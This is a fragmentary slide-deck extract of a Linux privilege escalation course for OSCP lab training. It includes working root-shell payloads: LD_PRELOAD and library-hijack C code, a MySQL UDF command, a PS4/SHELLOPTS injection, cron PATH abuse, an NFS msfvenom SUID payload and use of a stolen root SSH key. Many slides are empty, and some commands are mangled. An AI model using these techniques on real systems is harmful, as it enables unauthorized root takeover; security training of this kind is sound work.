1.3 Linux Privilege Escalation (Light)
1.3 Linux Privilege Escalation (Light)
1.3 Linux Privilege Escalation (Light)
Escalation
Tib3rius
1
About Myself
4
Setup
5
Setup (cont.)
This course was designed with the OSCP labs and exam in mind,
however it attempts to cover a wide range of escalation techniques
beyond what an OSCP student is expected to understand.
Understanding that privilege escalation is often highly complex, and new
techniques are developed over time, this course is not intended to be a
“complete” guide to every privilege escalation technique.
When appropriate, the author will update the course materials to
include new techniques which are considered to be valuable.
8
Acknowledgments
10
General Concepts
13
Users, Groups, and Files & Directories
18
Directory Permissions
20
Viewing Permissions
Print real, effective, saved, and file system user / group IDs of
the current process (i.e. our shell):
# cat /proc/$$/status | grep "[UG]id"
Uid: 1000 0 0 0
Gid: 1000 0 0 0
25
Spawning Root
Shells
26
Spawning Root Shells
28
Custom Executable
Compile using:
$ gcc -o <name> <filename.c>
29
msfvenom
32
Why use tools?
33
Linux Smart Enumeration
https://github.com/rebootuser/LinEnum
35
Other Tools
36
Kernel Exploits
37
What is a Kernel?
Note that none of the exploits match the distribution of Linux (Debian).
40
Privilege Escalation
3. We can try and adjust our search to be less specific with the kernel version, but
more specific with the distribution:
# searchsploit linux kernel 2.6 priv esc debian
Again, we get a few exploits that we can’t use for various reasons.
4. Install Linux Exploit Suggester 2 (https://github.com/jondonas/linux-exploit-
suggester-2) and run the tool against the original kernel version:
# ./linux-exploit-suggester-2.pl –k 2.6.32
41
Privilege Escalation
42
Privilege Escalation
43
Service Exploits
44
Service Exploits
46
Enumerating Program Versions
Running the program with the --version/-v command line option often shows the
version number:
$ <program> --version
$ <program> -v
On Debian-like distributions, dpkg can show installed programs and their version:
$ dpkg -l | grep <program>
47
Privilege Escalation
48
Privilege Escalation
5. Once the UDF is installed, run the following command in the MySQL shell:
mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/ro
otbash');
6. Drop back to our regular shell, and run /tmp/rootbash for a root shell:
$ /tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root
),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(u
ser)
50
Port Forwarding
The exploit code can now be run on your local machine at whichever
port you chose.
51
Weak File
Permissions
52
Weak File Permissions
54
/etc/shadow
56
Privilege Escalation
57
Privilege Escalation
58
Privilege Escalation (#2)
59
Privilege Escalation (#2)
60
Privilege Escalation (#2)
61
/etc/passwd
62
/etc/passwd
The “x” in the second field instructs Linux to look for the password hash
in the /etc/shadow file.
63
Privilege Escalation
65
Privilege Escalation
66
Backups
68
Privilege Escalation
4. Further inspection of this file seems to indicate that this is an SSH private
key. The name and owner of the file suggests this key belongs to the root
user:
$ head -n 1 /.ssh/root_key
-----BEGIN RSA PRIVATE KEY-----
69
Privilege Escalation
5. Before we try to use this key, let’s confirm that root logins are even
allowed via SSH:
$ grep PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin yes
6. Copy the key over to your local machine, and give it correct
permissions (otherwise SSH will refuse to use it):
# chmod 600 root_key
70
Privilege Escalation
71
Sudo
72
What is sudo?
sudo is a program which lets users run other programs with the security
privileges of other users. By default, that other user will be root.
A user generally needs to enter their password to use sudo, and they
must be permitted access via rule(s) in the /etc/sudoers file.
Rules can be used to limit users to certain programs, and forgo the
password entry requirement.
73
Useful Commands
74
Known Password
By far the most obvious privilege escalation with sudo is to use sudo as it
was intended!
If your low privileged user account can use sudo unrestricted (i.e. you can
run any programs) and you know the user’s password, privilege escalation
is easy, by using the “switch user” (su) command to spawn a root shell:
$ sudo su
75
Other Methods
If for some reason the su program is not allowed, there are many other
ways to escalate privileges:
$ sudo -s
$ sudo -i
$ sudo /bin/bash
$ sudo passwd
77
Privilege Escalation (Generic)
78
Privilege Escalation (Generic)
83
Privilege Escalation
84
Environment Variables
85
LD_PRELOAD
86
Limitations
87
Privilege Escalation
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
89
Privilege Escalation
90
LD_LIBRARY_PATH
By creating a shared library with the same name as one used by a program, and
setting LD_LIBRARY_PATH to its parent directory, the program will load our
shared library instead.
91
Privilege Escalation
Hijacking shared objects using this method is hit or miss. Choose one from
the list and try it (libcrypt.so.1 seems to work well).
92
Privilege Escalation
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
93
Privilege Escalation
94
Cron Jobs
95
Cron Jobs
98
Privilege Escalation
99
Privilege Escalation
100
Privilege Escalation
101
PATH Environment Variable
102
Privilege Escalation
Note that the /home/user directory (which we can write to) is at the start
of the PATH variable, and the first cron job does not use an absolute path.
103
Privilege Escalation
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
104
Privilege Escalation
105
Wildcards
106
Wildcards & Filenames
107
Wildcards & Filenames (cont.)
108
Privilege Escalation
Note that the tar command is run with a wildcard in the /home/user directory.
109
Privilege Escalation
110
Privilege Escalation
111
Privilege Escalation
112
SUID / SGID
Executables
113
SUID / SGID Files
SUID files get executed with the privileges of the file owner.
SGID files get executed with the privileges of the file group.
If the file is owned by root, it gets executed with root
privileges, and we may be able to use it to escalate privileges.
114
Finding SUID / SGID Files
115
Shell Escape Sequences
116
A Quick Word on LD_PRELOAD &
LD_LIBRARY_PATH
118
Privilege Escalation
2. The version of exim is rather obvious from the filename, however we can
confirm it:
$ /usr/sbin/exim-4.84-3 --version
Exim version 4.84 #3 built 13-May-2017 01:45:35
120
Privilege Escalation
Note that to get ^M you have to hold Ctrl and then press
V and M in succession.
5. Make sure the script is executable:
$ chmod + privesc.sh
121
Privilege Escalation
122
Shared Object Injection
123
Privilege Escalation
The libcalc.so shared object could not be found, and the program is
looking in our user’s home directory, which we can write to.
125
Privilege Escalation
126
Privilege Escalation
127
PATH Environment Variable
129
Finding Vulnerable Programs (cont.)
130
Privilege Escalation
The file could be trying to run the service program without a full path.
3. We can verify this with strace:
$ strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
[pid 14395] execve("/bin/sh", ["sh", "-c", "service apache2 start"],
...
132
Privilege Escalation
This reveals that the system function is being used to execute the
service program.
5. Create a file system.c with the following contents:
int main() {
setuid(0);
system("/bin/bash -p");
}
133
Privilege Escalation
134
Abusing Shell Features (#1)
135
Privilege Escalation
137
Privilege Escalation
This reveals that the system function is being used to execute the
/usr/sbin/service program.
5. Verify the version of Bash is lower than 4.2-048:
$ bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
138
Privilege Escalation
139
Abusing Shell Features (#2)
Bash has a debugging mode which can be enabled with the –x command
line option, or by modifying the SHELLOPTS environment variable to
include xtrace.
By default, SHELLOPTS is read only, however the env command allows
SHELLOPTS to be set.
When in debugging mode, Bash uses the environment variable PS4 to
display an extra prompt for debug statements. This variable can include an
embedded command, which will execute every time it is shown.
140
Abusing Shell Features (#2) (cont.)
143
Privilege Escalation
This reveals that the system function is being used to execute the
service program.
5. Run the SUID file with bash debugging enabled and the PS4
variable assigned to our payload:
$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chown
root /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-env2
144
Privilege Escalation
145
Passwords &
Keys
146
Passwords
While it might seem like a long shot, weak password storage and
password re-use can be easy ways to escalate privileges.
While the root user’s account password is hashed and stored
securely in /etc/shadow, other passwords, such as those for
services may be stored in plaintext in config files.
If the root user re-used their password for a service, that password
may be found and used to switch to the root user.
147
History Files
150
Config Files
152
Privilege Escalation
4. Use the su command to switch to the root user account, using the
password found in the auth.txt file:
$ su root
Password:
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
153
SSH Keys
1. A hidden directory (.ssh) exists in the system root directory. View the contents of
this directory:
$ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 19 06:56 root_key
155
Privilege Escalation
3. Copy the root_key file to your local machine and correct its
permissions so SSH will accept it:
$ chmod 600 root_key
4. Use the key to connect to the SSH server as the root user:
$ ssh -i root_key root@192.168.1.25
...
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root)
156
NFS
157
NFS
159
Root Squashing
161
Privilege Escalation
162
Privilege Escalation
3. Create a mount point on your local machine and mount the /tmp
NFS share:
# mkdir /tmp/nfs
# mount -o rw,vers=2 192.168.1.25:/tmp /tmp/nfs
4. Using the root user on your local machine, generate a payload and
save it to the mounted share:
# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o
/tmp/nfs/shell.elf
163
Privilege Escalation
5. Make sure the file has the SUID bit set, and is executable by
everyone:
# chmod +xs /tmp/nfs/shell.elf
164
Privilege
Escalation
Strategy
165
Enumeration
166
Strategy
Try things that don’t have many steps first, e.g. Sudo, Cron
Jobs, SUID files.
Have a good look at root processes, enumerate their versions
and search for exploits.
Check for internal ports that you might be able to forward to
your attacking machine.
169
Strategy